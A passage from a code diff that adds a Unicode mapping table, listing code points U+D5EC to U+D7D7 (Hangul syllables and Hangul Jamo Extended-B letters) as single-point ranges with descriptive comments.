+ ["\uD5EC", "\uD5EC"], /* Hangul Syllable */
+ ["\uD5ED", "\uD5ED"], /* Hangul Syllable */
+ ["\uD5EE", "\uD5EE"], /* Hangul Syllable */
+ ["\uD5EF", "\uD5EF"], /* Hangul Syllable */
+ ["\uD5F0", "\uD5F0"], /* Hangul Syllable */
+ ["\uD5F1", "\uD5F1"], /* Hangul Syllable */
+ ["\uD5F2", "\uD5F2"], /* Hangul Syllable */
+ ["\uD5F3", "\uD5F3"], /* Hangul Syllable */
+ ["\uD5F4", "\uD5F4"], /* Hangul Syllable */
+ ["\uD5F5", "\uD5F5"], /* Hangul Syllable */
+ ["\uD5F6", "\uD5F6"], /* Hangul Syllable */
+ ["\uD5F7", "\uD5F7"], /* Hangul Syllable */
+ ["\uD5F8", "\uD5F8"], /* Hangul Syllable */
+ ["\uD5F9", "\uD5F9"], /* Hangul Syllable */
+ ["\uD5FA", "\uD5FA"], /* Hangul Syllable */
+ ["\uD5FB", "\uD5FB"], /* Hangul Syllable */
+ ["\uD5FC", "\uD5FC"], /* Hangul Syllable */
+ ["\uD5FD", "\uD5FD"], /* Hangul Syllable */
+ ["\uD5FE", "\uD5FE"], /* Hangul Syllable */
+ ["\uD5FF", "\uD5FF"], /* Hangul Syllable */
+ ["\uD600", "\uD600"], /* Hangul Syllable */
+ ["\uD601", "\uD601"], /* Hangul Syllable */
+ ["\uD602", "\uD602"], /* Hangul Syllable */
+ ["\uD603", "\uD603"], /* Hangul Syllable */
+ ["\uD604", "\uD604"], /* Hangul Syllable */
+ ["\uD605", "\uD605"], /* Hangul Syllable */
+ ["\uD606", "\uD606"], /* Hangul Syllable */
+ ["\uD607", "\uD607"], /* Hangul Syllable */
+ ["\uD608", "\uD608"], /* Hangul Syllable */
+ ["\uD609", "\uD609"], /* Hangul Syllable */
+ ["\uD60A", "\uD60A"], /* Hangul Syllable */
+ ["\uD60B", "\uD60B"], /* Hangul Syllable */
+ ["\uD60C", "\uD60C"], /* Hangul Syllable */
+ ["\uD60D", "\uD60D"], /* Hangul Syllable */
+ ["\uD60E", "\uD60E"], /* Hangul Syllable */
+ ["\uD60F", "\uD60F"], /* Hangul Syllable */
+ ["\uD610", "\uD610"], /* Hangul Syllable */
+ ["\uD611", "\uD611"], /* Hangul Syllable */
+ ["\uD612", "\uD612"], /* Hangul Syllable */
+ ["\uD613", "\uD613"], /* Hangul Syllable */
+ ["\uD614", "\uD614"], /* Hangul Syllable */
+ ["\uD615", "\uD615"], /* Hangul Syllable */
+ ["\uD616", "\uD616"], /* Hangul Syllable */
+ ["\uD617", "\uD617"], /* Hangul Syllable */
+ ["\uD618", "\uD618"], /* Hangul Syllable */
+ ["\uD619", "\uD619"], /* Hangul Syllable */
+ ["\uD61A", "\uD61A"], /* Hangul Syllable */
+ ["\uD61B", "\uD61B"], /* Hangul Syllable */
+ ["\uD61C", "\uD61C"], /* Hangul Syllable */
+ ["\uD61D", "\uD61D"], /* Hangul Syllable */
+ ["\uD61E", "\uD61E"], /* Hangul Syllable */
+ ["\uD61F", "\uD61F"], /* Hangul Syllable */
+ ["\uD620", "\uD620"], /* Hangul Syllable */
+ ["\uD621", "\uD621"], /* Hangul Syllable */
+ ["\uD622", "\uD622"], /* Hangul Syllable */
+ ["\uD623", "\uD623"], /* Hangul Syllable */
+ ["\uD624", "\uD624"], /* Hangul Syllable */
+ ["\uD625", "\uD625"], /* Hangul Syllable */
+ ["\uD626", "\uD626"], /* Hangul Syllable */
+ ["\uD627", "\uD627"], /* Hangul Syllable */
+ ["\uD628", "\uD628"], /* Hangul Syllable */
+ ["\uD629", "\uD629"], /* Hangul Syllable */
+ ["\uD62A", "\uD62A"], /* Hangul Syllable */
+ ["\uD62B", "\uD62B"], /* Hangul Syllable */
+ ["\uD62C", "\uD62C"], /* Hangul Syllable */
+ ["\uD62D", "\uD62D"], /* Hangul Syllable */
+ ["\uD62E", "\uD62E"], /* Hangul Syllable */
+ ["\uD62F", "\uD62F"], /* Hangul Syllable */
+ ["\uD630", "\uD630"], /* Hangul Syllable */
+ ["\uD631", "\uD631"], /* Hangul Syllable */
+ ["\uD632", "\uD632"], /* Hangul Syllable */
+ ["\uD633", "\uD633"], /* Hangul Syllable */
+ ["\uD634", "\uD634"], /* Hangul Syllable */
+ ["\uD635", "\uD635"], /* Hangul Syllable */
+ ["\uD636", "\uD636"], /* Hangul Syllable */
+ ["\uD637", "\uD637"], /* Hangul Syllable */
+ ["\uD638", "\uD638"], /* Hangul Syllable */
+ ["\uD639", "\uD639"], /* Hangul Syllable */
+ ["\uD63A", "\uD63A"], /* Hangul Syllable */
+ ["\uD63B", "\uD63B"], /* Hangul Syllable */
+ ["\uD63C", "\uD63C"], /* Hangul Syllable */
+ ["\uD63D", "\uD63D"], /* Hangul Syllable */
+ ["\uD63E", "\uD63E"], /* Hangul Syllable */
+ ["\uD63F", "\uD63F"], /* Hangul Syllable */
+ ["\uD640", "\uD640"], /* Hangul Syllable */
+ ["\uD641", "\uD641"], /* Hangul Syllable */
+ ["\uD642", "\uD642"], /* Hangul Syllable */
+ ["\uD643", "\uD643"], /* Hangul Syllable */
+ ["\uD644", "\uD644"], /* Hangul Syllable */
+ ["\uD645", "\uD645"], /* Hangul Syllable */
+ ["\uD646", "\uD646"], /* Hangul Syllable */
+ ["\uD647", "\uD647"], /* Hangul Syllable */
+ ["\uD648", "\uD648"], /* Hangul Syllable */
+ ["\uD649", "\uD649"], /* Hangul Syllable */
+ ["\uD64A", "\uD64A"], /* Hangul Syllable */
+ ["\uD64B", "\uD64B"], /* Hangul Syllable */
+ ["\uD64C", "\uD64C"], /* Hangul Syllable */
+ ["\uD64D", "\uD64D"], /* Hangul Syllable */
+ ["\uD64E", "\uD64E"], /* Hangul Syllable */
+ ["\uD64F", "\uD64F"], /* Hangul Syllable */
+ ["\uD650", "\uD650"], /* Hangul Syllable */
+ ["\uD651", "\uD651"], /* Hangul Syllable */
+ ["\uD652", "\uD652"], /* Hangul Syllable */
+ ["\uD653", "\uD653"], /* Hangul Syllable */
+ ["\uD654", "\uD654"], /* Hangul Syllable */
+ ["\uD655", "\uD655"], /* Hangul Syllable */
+ ["\uD656", "\uD656"], /* Hangul Syllable */
+ ["\uD657", "\uD657"], /* Hangul Syllable */
+ ["\uD658", "\uD658"], /* Hangul Syllable */
+ ["\uD659", "\uD659"], /* Hangul Syllable */
+ ["\uD65A", "\uD65A"], /* Hangul Syllable */
+ ["\uD65B", "\uD65B"], /* Hangul Syllable */
+ ["\uD65C", "\uD65C"], /* Hangul Syllable */
+ ["\uD65D", "\uD65D"], /* Hangul Syllable */
+ ["\uD65E", "\uD65E"], /* Hangul Syllable */
+ ["\uD65F", "\uD65F"], /* Hangul Syllable */
+ ["\uD660", "\uD660"], /* Hangul Syllable */
+ ["\uD661", "\uD661"], /* Hangul Syllable */
+ ["\uD662", "\uD662"], /* Hangul Syllable */
+ ["\uD663", "\uD663"], /* Hangul Syllable */
+ ["\uD664", "\uD664"], /* Hangul Syllable */
+ ["\uD665", "\uD665"], /* Hangul Syllable */
+ ["\uD666", "\uD666"], /* Hangul Syllable */
+ ["\uD667", "\uD667"], /* Hangul Syllable */
+ ["\uD668", "\uD668"], /* Hangul Syllable */
+ ["\uD669", "\uD669"], /* Hangul Syllable */
+ ["\uD66A", "\uD66A"], /* Hangul Syllable */
+ ["\uD66B", "\uD66B"], /* Hangul Syllable */
+ ["\uD66C", "\uD66C"], /* Hangul Syllable */
+ ["\uD66D", "\uD66D"], /* Hangul Syllable */
+ ["\uD66E", "\uD66E"], /* Hangul Syllable */
+ ["\uD66F", "\uD66F"], /* Hangul Syllable */
+ ["\uD670", "\uD670"], /* Hangul Syllable */
+ ["\uD671", "\uD671"], /* Hangul Syllable */
+ ["\uD672", "\uD672"], /* Hangul Syllable */
+ ["\uD673", "\uD673"], /* Hangul Syllable */
+ ["\uD674", "\uD674"], /* Hangul Syllable */
+ ["\uD675", "\uD675"], /* Hangul Syllable */
+ ["\uD676", "\uD676"], /* Hangul Syllable */
+ ["\uD677", "\uD677"], /* Hangul Syllable */
+ ["\uD678", "\uD678"], /* Hangul Syllable */
+ ["\uD679", "\uD679"], /* Hangul Syllable */
+ ["\uD67A", "\uD67A"], /* Hangul Syllable */
+ ["\uD67B", "\uD67B"], /* Hangul Syllable */
+ ["\uD67C", "\uD67C"], /* Hangul Syllable */
+ ["\uD67D", "\uD67D"], /* Hangul Syllable */
+ ["\uD67E", "\uD67E"], /* Hangul Syllable */
+ ["\uD67F", "\uD67F"], /* Hangul Syllable */
+ ["\uD680", "\uD680"], /* Hangul Syllable */
+ ["\uD681", "\uD681"], /* Hangul Syllable */
+ ["\uD682", "\uD682"], /* Hangul Syllable */
+ ["\uD683", "\uD683"], /* Hangul Syllable */
+ ["\uD684", "\uD684"], /* Hangul Syllable */
+ ["\uD685", "\uD685"], /* Hangul Syllable */
+ ["\uD686", "\uD686"], /* Hangul Syllable */
+ ["\uD687", "\uD687"], /* Hangul Syllable */
+ ["\uD688", "\uD688"], /* Hangul Syllable */
+ ["\uD689", "\uD689"], /* Hangul Syllable */
+ ["\uD68A", "\uD68A"], /* Hangul Syllable */
+ ["\uD68B", "\uD68B"], /* Hangul Syllable */
+ ["\uD68C", "\uD68C"], /* Hangul Syllable */
+ ["\uD68D", "\uD68D"], /* Hangul Syllable */
+ ["\uD68E", "\uD68E"], /* Hangul Syllable */
+ ["\uD68F", "\uD68F"], /* Hangul Syllable */
+ ["\uD690", "\uD690"], /* Hangul Syllable */
+ ["\uD691", "\uD691"], /* Hangul Syllable */
+ ["\uD692", "\uD692"], /* Hangul Syllable */
+ ["\uD693", "\uD693"], /* Hangul Syllable */
+ ["\uD694", "\uD694"], /* Hangul Syllable */
+ ["\uD695", "\uD695"], /* Hangul Syllable */
+ ["\uD696", "\uD696"], /* Hangul Syllable */
+ ["\uD697", "\uD697"], /* Hangul Syllable */
+ ["\uD698", "\uD698"], /* Hangul Syllable */
+ ["\uD699", "\uD699"], /* Hangul Syllable */
+ ["\uD69A", "\uD69A"], /* Hangul Syllable */
+ ["\uD69B", "\uD69B"], /* Hangul Syllable */
+ ["\uD69C", "\uD69C"], /* Hangul Syllable */
+ ["\uD69D", "\uD69D"], /* Hangul Syllable */
+ ["\uD69E", "\uD69E"], /* Hangul Syllable */
+ ["\uD69F", "\uD69F"], /* Hangul Syllable */
+ ["\uD6A0", "\uD6A0"], /* Hangul Syllable */
+ ["\uD6A1", "\uD6A1"], /* Hangul Syllable */
+ ["\uD6A2", "\uD6A2"], /* Hangul Syllable */
+ ["\uD6A3", "\uD6A3"], /* Hangul Syllable */
+ ["\uD6A4", "\uD6A4"], /* Hangul Syllable */
+ ["\uD6A5", "\uD6A5"], /* Hangul Syllable */
+ ["\uD6A6", "\uD6A6"], /* Hangul Syllable */
+ ["\uD6A7", "\uD6A7"], /* Hangul Syllable */
+ ["\uD6A8", "\uD6A8"], /* Hangul Syllable */
+ ["\uD6A9", "\uD6A9"], /* Hangul Syllable */
+ ["\uD6AA", "\uD6AA"], /* Hangul Syllable */
+ ["\uD6AB", "\uD6AB"], /* Hangul Syllable */
+ ["\uD6AC", "\uD6AC"], /* Hangul Syllable */
+ ["\uD6AD", "\uD6AD"], /* Hangul Syllable */
+ ["\uD6AE", "\uD6AE"], /* Hangul Syllable */
+ ["\uD6AF", "\uD6AF"], /* Hangul Syllable */
+ ["\uD6B0", "\uD6B0"], /* Hangul Syllable */
+ ["\uD6B1", "\uD6B1"], /* Hangul Syllable */
+ ["\uD6B2", "\uD6B2"], /* Hangul Syllable */
+ ["\uD6B3", "\uD6B3"], /* Hangul Syllable */
+ ["\uD6B4", "\uD6B4"], /* Hangul Syllable */
+ ["\uD6B5", "\uD6B5"], /* Hangul Syllable */
+ ["\uD6B6", "\uD6B6"], /* Hangul Syllable */
+ ["\uD6B7", "\uD6B7"], /* Hangul Syllable */
+ ["\uD6B8", "\uD6B8"], /* Hangul Syllable */
+ ["\uD6B9", "\uD6B9"], /* Hangul Syllable */
+ ["\uD6BA", "\uD6BA"], /* Hangul Syllable */
+ ["\uD6BB", "\uD6BB"], /* Hangul Syllable */
+ ["\uD6BC", "\uD6BC"], /* Hangul Syllable */
+ ["\uD6BD", "\uD6BD"], /* Hangul Syllable */
+ ["\uD6BE", "\uD6BE"], /* Hangul Syllable */
+ ["\uD6BF", "\uD6BF"], /* Hangul Syllable */
+ ["\uD6C0", "\uD6C0"], /* Hangul Syllable */
+ ["\uD6C1", "\uD6C1"], /* Hangul Syllable */
+ ["\uD6C2", "\uD6C2"], /* Hangul Syllable */
+ ["\uD6C3", "\uD6C3"], /* Hangul Syllable */
+ ["\uD6C4", "\uD6C4"], /* Hangul Syllable */
+ ["\uD6C5", "\uD6C5"], /* Hangul Syllable */
+ ["\uD6C6", "\uD6C6"], /* Hangul Syllable */
+ ["\uD6C7", "\uD6C7"], /* Hangul Syllable */
+ ["\uD6C8", "\uD6C8"], /* Hangul Syllable */
+ ["\uD6C9", "\uD6C9"], /* Hangul Syllable */
+ ["\uD6CA", "\uD6CA"], /* Hangul Syllable */
+ ["\uD6CB", "\uD6CB"], /* Hangul Syllable */
+ ["\uD6CC", "\uD6CC"], /* Hangul Syllable */
+ ["\uD6CD", "\uD6CD"], /* Hangul Syllable */
+ ["\uD6CE", "\uD6CE"], /* Hangul Syllable */
+ ["\uD6CF", "\uD6CF"], /* Hangul Syllable */
+ ["\uD6D0", "\uD6D0"], /* Hangul Syllable */
+ ["\uD6D1", "\uD6D1"], /* Hangul Syllable */
+ ["\uD6D2", "\uD6D2"], /* Hangul Syllable */
+ ["\uD6D3", "\uD6D3"], /* Hangul Syllable */
+ ["\uD6D4", "\uD6D4"], /* Hangul Syllable */
+ ["\uD6D5", "\uD6D5"], /* Hangul Syllable */
+ ["\uD6D6", "\uD6D6"], /* Hangul Syllable */
+ ["\uD6D7", "\uD6D7"], /* Hangul Syllable */
+ ["\uD6D8", "\uD6D8"], /* Hangul Syllable */
+ ["\uD6D9", "\uD6D9"], /* Hangul Syllable */
+ ["\uD6DA", "\uD6DA"], /* Hangul Syllable */
+ ["\uD6DB", "\uD6DB"], /* Hangul Syllable */
+ ["\uD6DC", "\uD6DC"], /* Hangul Syllable */
+ ["\uD6DD", "\uD6DD"], /* Hangul Syllable */
+ ["\uD6DE", "\uD6DE"], /* Hangul Syllable */
+ ["\uD6DF", "\uD6DF"], /* Hangul Syllable */
+ ["\uD6E0", "\uD6E0"], /* Hangul Syllable */
+ ["\uD6E1", "\uD6E1"], /* Hangul Syllable */
+ ["\uD6E2", "\uD6E2"], /* Hangul Syllable */
+ ["\uD6E3", "\uD6E3"], /* Hangul Syllable */
+ ["\uD6E4", "\uD6E4"], /* Hangul Syllable */
+ ["\uD6E5", "\uD6E5"], /* Hangul Syllable */
+ ["\uD6E6", "\uD6E6"], /* Hangul Syllable */
+ ["\uD6E7", "\uD6E7"], /* Hangul Syllable */
+ ["\uD6E8", "\uD6E8"], /* Hangul Syllable */
+ ["\uD6E9", "\uD6E9"], /* Hangul Syllable */
+ ["\uD6EA", "\uD6EA"], /* Hangul Syllable */
+ ["\uD6EB", "\uD6EB"], /* Hangul Syllable */
+ ["\uD6EC", "\uD6EC"], /* Hangul Syllable */
+ ["\uD6ED", "\uD6ED"], /* Hangul Syllable */
+ ["\uD6EE", "\uD6EE"], /* Hangul Syllable */
+ ["\uD6EF", "\uD6EF"], /* Hangul Syllable */
+ ["\uD6F0", "\uD6F0"], /* Hangul Syllable */
+ ["\uD6F1", "\uD6F1"], /* Hangul Syllable */
+ ["\uD6F2", "\uD6F2"], /* Hangul Syllable */
+ ["\uD6F3", "\uD6F3"], /* Hangul Syllable */
+ ["\uD6F4", "\uD6F4"], /* Hangul Syllable */
+ ["\uD6F5", "\uD6F5"], /* Hangul Syllable */
+ ["\uD6F6", "\uD6F6"], /* Hangul Syllable */
+ ["\uD6F7", "\uD6F7"], /* Hangul Syllable */
+ ["\uD6F8", "\uD6F8"], /* Hangul Syllable */
+ ["\uD6F9", "\uD6F9"], /* Hangul Syllable */
+ ["\uD6FA", "\uD6FA"], /* Hangul Syllable */
+ ["\uD6FB", "\uD6FB"], /* Hangul Syllable */
+ ["\uD6FC", "\uD6FC"], /* Hangul Syllable */
+ ["\uD6FD", "\uD6FD"], /* Hangul Syllable */
+ ["\uD6FE", "\uD6FE"], /* Hangul Syllable */
+ ["\uD6FF", "\uD6FF"], /* Hangul Syllable */
+ ["\uD700", "\uD700"], /* Hangul Syllable */
+ ["\uD701", "\uD701"], /* Hangul Syllable */
+ ["\uD702", "\uD702"], /* Hangul Syllable */
+ ["\uD703", "\uD703"], /* Hangul Syllable */
+ ["\uD704", "\uD704"], /* Hangul Syllable */
+ ["\uD705", "\uD705"], /* Hangul Syllable */
+ ["\uD706", "\uD706"], /* Hangul Syllable */
+ ["\uD707", "\uD707"], /* Hangul Syllable */
+ ["\uD708", "\uD708"], /* Hangul Syllable */
+ ["\uD709", "\uD709"], /* Hangul Syllable */
+ ["\uD70A", "\uD70A"], /* Hangul Syllable */
+ ["\uD70B", "\uD70B"], /* Hangul Syllable */
+ ["\uD70C", "\uD70C"], /* Hangul Syllable */
+ ["\uD70D", "\uD70D"], /* Hangul Syllable */
+ ["\uD70E", "\uD70E"], /* Hangul Syllable */
+ ["\uD70F", "\uD70F"], /* Hangul Syllable */
+ ["\uD710", "\uD710"], /* Hangul Syllable */
+ ["\uD711", "\uD711"], /* Hangul Syllable */
+ ["\uD712", "\uD712"], /* Hangul Syllable */
+ ["\uD713", "\uD713"], /* Hangul Syllable */
+ ["\uD714", "\uD714"], /* Hangul Syllable */
+ ["\uD715", "\uD715"], /* Hangul Syllable */
+ ["\uD716", "\uD716"], /* Hangul Syllable */
+ ["\uD717", "\uD717"], /* Hangul Syllable */
+ ["\uD718", "\uD718"], /* Hangul Syllable */
+ ["\uD719", "\uD719"], /* Hangul Syllable */
+ ["\uD71A", "\uD71A"], /* Hangul Syllable */
+ ["\uD71B", "\uD71B"], /* Hangul Syllable */
+ ["\uD71C", "\uD71C"], /* Hangul Syllable */
+ ["\uD71D", "\uD71D"], /* Hangul Syllable */
+ ["\uD71E", "\uD71E"], /* Hangul Syllable */
+ ["\uD71F", "\uD71F"], /* Hangul Syllable */
+ ["\uD720", "\uD720"], /* Hangul Syllable */
+ ["\uD721", "\uD721"], /* Hangul Syllable */
+ ["\uD722", "\uD722"], /* Hangul Syllable */
+ ["\uD723", "\uD723"], /* Hangul Syllable */
+ ["\uD724", "\uD724"], /* Hangul Syllable */
+ ["\uD725", "\uD725"], /* Hangul Syllable */
+ ["\uD726", "\uD726"], /* Hangul Syllable */
+ ["\uD727", "\uD727"], /* Hangul Syllable */
+ ["\uD728", "\uD728"], /* Hangul Syllable */
+ ["\uD729", "\uD729"], /* Hangul Syllable */
+ ["\uD72A", "\uD72A"], /* Hangul Syllable */
+ ["\uD72B", "\uD72B"], /* Hangul Syllable */
+ ["\uD72C", "\uD72C"], /* Hangul Syllable */
+ ["\uD72D", "\uD72D"], /* Hangul Syllable */
+ ["\uD72E", "\uD72E"], /* Hangul Syllable */
+ ["\uD72F", "\uD72F"], /* Hangul Syllable */
+ ["\uD730", "\uD730"], /* Hangul Syllable */
+ ["\uD731", "\uD731"], /* Hangul Syllable */
+ ["\uD732", "\uD732"], /* Hangul Syllable */
+ ["\uD733", "\uD733"], /* Hangul Syllable */
+ ["\uD734", "\uD734"], /* Hangul Syllable */
+ ["\uD735", "\uD735"], /* Hangul Syllable */
+ ["\uD736", "\uD736"], /* Hangul Syllable */
+ ["\uD737", "\uD737"], /* Hangul Syllable */
+ ["\uD738", "\uD738"], /* Hangul Syllable */
+ ["\uD739", "\uD739"], /* Hangul Syllable */
+ ["\uD73A", "\uD73A"], /* Hangul Syllable */
+ ["\uD73B", "\uD73B"], /* Hangul Syllable */
+ ["\uD73C", "\uD73C"], /* Hangul Syllable */
+ ["\uD73D", "\uD73D"], /* Hangul Syllable */
+ ["\uD73E", "\uD73E"], /* Hangul Syllable */
+ ["\uD73F", "\uD73F"], /* Hangul Syllable */
+ ["\uD740", "\uD740"], /* Hangul Syllable */
+ ["\uD741", "\uD741"], /* Hangul Syllable */
+ ["\uD742", "\uD742"], /* Hangul Syllable */
+ ["\uD743", "\uD743"], /* Hangul Syllable */
+ ["\uD744", "\uD744"], /* Hangul Syllable */
+ ["\uD745", "\uD745"], /* Hangul Syllable */
+ ["\uD746", "\uD746"], /* Hangul Syllable */
+ ["\uD747", "\uD747"], /* Hangul Syllable */
+ ["\uD748", "\uD748"], /* Hangul Syllable */
+ ["\uD749", "\uD749"], /* Hangul Syllable */
+ ["\uD74A", "\uD74A"], /* Hangul Syllable */
+ ["\uD74B", "\uD74B"], /* Hangul Syllable */
+ ["\uD74C", "\uD74C"], /* Hangul Syllable */
+ ["\uD74D", "\uD74D"], /* Hangul Syllable */
+ ["\uD74E", "\uD74E"], /* Hangul Syllable */
+ ["\uD74F", "\uD74F"], /* Hangul Syllable */
+ ["\uD750", "\uD750"], /* Hangul Syllable */
+ ["\uD751", "\uD751"], /* Hangul Syllable */
+ ["\uD752", "\uD752"], /* Hangul Syllable */
+ ["\uD753", "\uD753"], /* Hangul Syllable */
+ ["\uD754", "\uD754"], /* Hangul Syllable */
+ ["\uD755", "\uD755"], /* Hangul Syllable */
+ ["\uD756", "\uD756"], /* Hangul Syllable */
+ ["\uD757", "\uD757"], /* Hangul Syllable */
+ ["\uD758", "\uD758"], /* Hangul Syllable */
+ ["\uD759", "\uD759"], /* Hangul Syllable */
+ ["\uD75A", "\uD75A"], /* Hangul Syllable */
+ ["\uD75B", "\uD75B"], /* Hangul Syllable */
+ ["\uD75C", "\uD75C"], /* Hangul Syllable */
+ ["\uD75D", "\uD75D"], /* Hangul Syllable */
+ ["\uD75E", "\uD75E"], /* Hangul Syllable */
+ ["\uD75F", "\uD75F"], /* Hangul Syllable */
+ ["\uD760", "\uD760"], /* Hangul Syllable */
+ ["\uD761", "\uD761"], /* Hangul Syllable */
+ ["\uD762", "\uD762"], /* Hangul Syllable */
+ ["\uD763", "\uD763"], /* Hangul Syllable */
+ ["\uD764", "\uD764"], /* Hangul Syllable */
+ ["\uD765", "\uD765"], /* Hangul Syllable */
+ ["\uD766", "\uD766"], /* Hangul Syllable */
+ ["\uD767", "\uD767"], /* Hangul Syllable */
+ ["\uD768", "\uD768"], /* Hangul Syllable */
+ ["\uD769", "\uD769"], /* Hangul Syllable */
+ ["\uD76A", "\uD76A"], /* Hangul Syllable */
+ ["\uD76B", "\uD76B"], /* Hangul Syllable */
+ ["\uD76C", "\uD76C"], /* Hangul Syllable */
+ ["\uD76D", "\uD76D"], /* Hangul Syllable */
+ ["\uD76E", "\uD76E"], /* Hangul Syllable */
+ ["\uD76F", "\uD76F"], /* Hangul Syllable */
+ ["\uD770", "\uD770"], /* Hangul Syllable */
+ ["\uD771", "\uD771"], /* Hangul Syllable */
+ ["\uD772", "\uD772"], /* Hangul Syllable */
+ ["\uD773", "\uD773"], /* Hangul Syllable */
+ ["\uD774", "\uD774"], /* Hangul Syllable */
+ ["\uD775", "\uD775"], /* Hangul Syllable */
+ ["\uD776", "\uD776"], /* Hangul Syllable */
+ ["\uD777", "\uD777"], /* Hangul Syllable */
+ ["\uD778", "\uD778"], /* Hangul Syllable */
+ ["\uD779", "\uD779"], /* Hangul Syllable */
+ ["\uD77A", "\uD77A"], /* Hangul Syllable */
+ ["\uD77B", "\uD77B"], /* Hangul Syllable */
+ ["\uD77C", "\uD77C"], /* Hangul Syllable */
+ ["\uD77D", "\uD77D"], /* Hangul Syllable */
+ ["\uD77E", "\uD77E"], /* Hangul Syllable */
+ ["\uD77F", "\uD77F"], /* Hangul Syllable */
+ ["\uD780", "\uD780"], /* Hangul Syllable */
+ ["\uD781", "\uD781"], /* Hangul Syllable */
+ ["\uD782", "\uD782"], /* Hangul Syllable */
+ ["\uD783", "\uD783"], /* Hangul Syllable */
+ ["\uD784", "\uD784"], /* Hangul Syllable */
+ ["\uD785", "\uD785"], /* Hangul Syllable */
+ ["\uD786", "\uD786"], /* Hangul Syllable */
+ ["\uD787", "\uD787"], /* Hangul Syllable */
+ ["\uD788", "\uD788"], /* Hangul Syllable */
+ ["\uD789", "\uD789"], /* Hangul Syllable */
+ ["\uD78A", "\uD78A"], /* Hangul Syllable */
+ ["\uD78B", "\uD78B"], /* Hangul Syllable */
+ ["\uD78C", "\uD78C"], /* Hangul Syllable */
+ ["\uD78D", "\uD78D"], /* Hangul Syllable */
+ ["\uD78E", "\uD78E"], /* Hangul Syllable */
+ ["\uD78F", "\uD78F"], /* Hangul Syllable */
+ ["\uD790", "\uD790"], /* Hangul Syllable */
+ ["\uD791", "\uD791"], /* Hangul Syllable */
+ ["\uD792", "\uD792"], /* Hangul Syllable */
+ ["\uD793", "\uD793"], /* Hangul Syllable */
+ ["\uD794", "\uD794"], /* Hangul Syllable */
+ ["\uD795", "\uD795"], /* Hangul Syllable */
+ ["\uD796", "\uD796"], /* Hangul Syllable */
+ ["\uD797", "\uD797"], /* Hangul Syllable */
+ ["\uD798", "\uD798"], /* Hangul Syllable */
+ ["\uD799", "\uD799"], /* Hangul Syllable */
+ ["\uD79A", "\uD79A"], /* Hangul Syllable */
+ ["\uD79B", "\uD79B"], /* Hangul Syllable */
+ ["\uD79C", "\uD79C"], /* Hangul Syllable */
+ ["\uD79D", "\uD79D"], /* Hangul Syllable */
+ ["\uD79E", "\uD79E"], /* Hangul Syllable */
+ ["\uD79F", "\uD79F"], /* Hangul Syllable */
+ ["\uD7A0", "\uD7A0"], /* Hangul Syllable */
+ ["\uD7A1", "\uD7A1"], /* Hangul Syllable */
+ ["\uD7A2", "\uD7A2"], /* Hangul Syllable */
+ ["\uD7A3", "\uD7A3"], /* Hangul Syllable */
+ ["\uD7A4", "\uD7A4"],
+ ["\uD7A5", "\uD7A5"],
+ ["\uD7A6", "\uD7A6"],
+ ["\uD7A7", "\uD7A7"],
+ ["\uD7A8", "\uD7A8"],
+ ["\uD7A9", "\uD7A9"],
+ ["\uD7AA", "\uD7AA"],
+ ["\uD7AB", "\uD7AB"],
+ ["\uD7AC", "\uD7AC"],
+ ["\uD7AD", "\uD7AD"],
+ ["\uD7AE", "\uD7AE"],
+ ["\uD7AF", "\uD7AF"],
+ ["\uD7B0", "\uD7B0"], /* HANGUL JUNGSEONG O-YEO */
+ ["\uD7B1", "\uD7B1"], /* HANGUL JUNGSEONG O-O-I */
+ ["\uD7B2", "\uD7B2"], /* HANGUL JUNGSEONG YO-A */
+ ["\uD7B3", "\uD7B3"], /* HANGUL JUNGSEONG YO-AE */
+ ["\uD7B4", "\uD7B4"], /* HANGUL JUNGSEONG YO-EO */
+ ["\uD7B5", "\uD7B5"], /* HANGUL JUNGSEONG U-YEO */
+ ["\uD7B6", "\uD7B6"], /* HANGUL JUNGSEONG U-I-I */
+ ["\uD7B7", "\uD7B7"], /* HANGUL JUNGSEONG YU-AE */
+ ["\uD7B8", "\uD7B8"], /* HANGUL JUNGSEONG YU-O */
+ ["\uD7B9", "\uD7B9"], /* HANGUL JUNGSEONG EU-A */
+ ["\uD7BA", "\uD7BA"], /* HANGUL JUNGSEONG EU-EO */
+ ["\uD7BB", "\uD7BB"], /* HANGUL JUNGSEONG EU-E */
+ ["\uD7BC", "\uD7BC"], /* HANGUL JUNGSEONG EU-O */
+ ["\uD7BD", "\uD7BD"], /* HANGUL JUNGSEONG I-YA-O */
+ ["\uD7BE", "\uD7BE"], /* HANGUL JUNGSEONG I-YAE */
+ ["\uD7BF", "\uD7BF"], /* HANGUL JUNGSEONG I-YEO */
+ ["\uD7C0", "\uD7C0"], /* HANGUL JUNGSEONG I-YE */
+ ["\uD7C1", "\uD7C1"], /* HANGUL JUNGSEONG I-O-I */
+ ["\uD7C2", "\uD7C2"], /* HANGUL JUNGSEONG I-YO */
+ ["\uD7C3", "\uD7C3"], /* HANGUL JUNGSEONG I-YU */
+ ["\uD7C4", "\uD7C4"], /* HANGUL JUNGSEONG I-I */
+ ["\uD7C5", "\uD7C5"], /* HANGUL JUNGSEONG ARAEA-A */
+ ["\uD7C6", "\uD7C6"], /* HANGUL JUNGSEONG ARAEA-E */
+ ["\uD7C7", "\uD7C7"],
+ ["\uD7C8", "\uD7C8"],
+ ["\uD7C9", "\uD7C9"],
+ ["\uD7CA", "\uD7CA"],
+ ["\uD7CB", "\uD7CB"], /* HANGUL JONGSEONG NIEUN-RIEUL */
+ ["\uD7CC", "\uD7CC"], /* HANGUL JONGSEONG NIEUN-CHIEUCH */
+ ["\uD7CD", "\uD7CD"], /* HANGUL JONGSEONG SSANGTIKEUT */
+ ["\uD7CE", "\uD7CE"], /* HANGUL JONGSEONG SSANGTIKEUT-PIEUP */
+ ["\uD7CF", "\uD7CF"], /* HANGUL JONGSEONG TIKEUT-PIEUP */
+ ["\uD7D0", "\uD7D0"], /* HANGUL JONGSEONG TIKEUT-SIOS */
+ ["\uD7D1", "\uD7D1"], /* HANGUL JONGSEONG TIKEUT-SIOS-KIYEOK */
+ ["\uD7D2", "\uD7D2"], /* HANGUL JONGSEONG TIKEUT-CIEUC */
+ ["\uD7D3", "\uD7D3"], /* HANGUL JONGSEONG TIKEUT-CHIEUCH */
+ ["\uD7D4", "\uD7D4"], /* HANGUL JONGSEONG TIKEUT-THIEUTH */
+ ["\uD7D5", "\uD7D5"], /* HANGUL JONGSEONG RIEUL-SSANGKIYEOK */
+ ["\uD7D6", "\uD7D6"], /* HANGUL JONGSEONG RIEUL-KIYEOK-HIEUH */
+ ["\uD7D7", "\uD7D7"], /* HANGUL JONGSEONG SSANGRIEUL-KHIEUKH */
